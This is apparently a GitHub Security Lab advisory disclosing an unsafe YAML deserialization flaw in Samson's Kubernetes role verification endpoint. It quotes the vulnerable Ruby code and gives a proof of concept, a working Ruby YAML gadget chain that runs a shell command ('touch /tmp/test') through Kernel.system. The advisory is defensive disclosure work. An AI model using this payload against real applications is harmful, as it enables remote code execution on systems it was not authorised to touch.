Coordinated Disclosure Timeline

Summary

Samson’s Kubernetes::RoleVerificationsController deserializes user-controllable data leading to Remote Code Execution (RCE).

Product

Samson

Tested Version

v3382

Details

Unsafe YAML deserialization (GHSL-2023-136)

User-controlled role parameter enters the application in the Kubernetes::RoleVerificationsController:

# frozen_string_literal: true
class Kubernetes::RoleVerificationsController < ApplicationController
  def new
  end

  def create
    input = params[:role].presence || '{}'
    filename = (input.start_with?('{', '[') ? 'test.json' : 'test.yml')
    begin
      Kubernetes::RoleConfigFile.new(input, filename, project: nil)
    rescue Samson::Hooks::UserError
      @errors = $!.message
    else
      flash.now[:notice] = "Valid!"
    end
    render :new
  end
end

The role parameter flows into the RoleConfigFile initializer and then into the Kubernetes::Util.parse_file method where it is unsafely deserialized:

module Kubernetes
  module Util
    def self.parse_file(contents, filepath)
      filename = File.basename(filepath).downcase

      if filename.ends_with?('.yml', '.yaml')
        # NOTE: this will always return an array of entries
        YAML.load_stream(contents, filepath)
      elsif filename.ends_with?('.json')
        JSON.parse(contents)
      else
        fail "Unknown file type: #{filename}"
      end
    end

    def self.log(message, extra_info = {})
      msg_log = {message: message}.merge(extra_info).to_json
      Rails.logger.info(msg_log)
    end
  end
end

The YAML.load_stream method should not be used with untrusted data since it allows instantiating arbitrary classes which may lead to remote code execution (RCE).

Impact

This issue may lead to Remote Code Execution (RCE)

Proof of Concept

  1. Start Docker image bundled with Samson.
  2. Log-in using your GitHub account.
  3. Visit http://localhost:3000/kubernetes/role_verification.
  4. Paste the following YAML in the textbox:
    ---
    - !ruby/object:Gem::Installer
     i: x
    - !ruby/object:Gem::SpecFetcher
     i: y
    - !ruby/object:Gem::Requirement
      requirements:
     !ruby/object:Gem::Package::TarReader
     io: &1 !ruby/object:Net::BufferedIO
       io: &1 !ruby/object:Gem::Package::TarReader::Entry
          read: 0
          header: "abc"
       debug_output: &1 !ruby/object:Net::WriteAdapter
          socket: &1 !ruby/object:Gem::RequestSet
              sets: !ruby/object:Net::WriteAdapter
                  socket: !ruby/module 'Kernel'
                  method_id: :system
              git_set: touch /tmp/test
          method_id: :resolve
    

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-136 in any communication regarding this issue.

Resources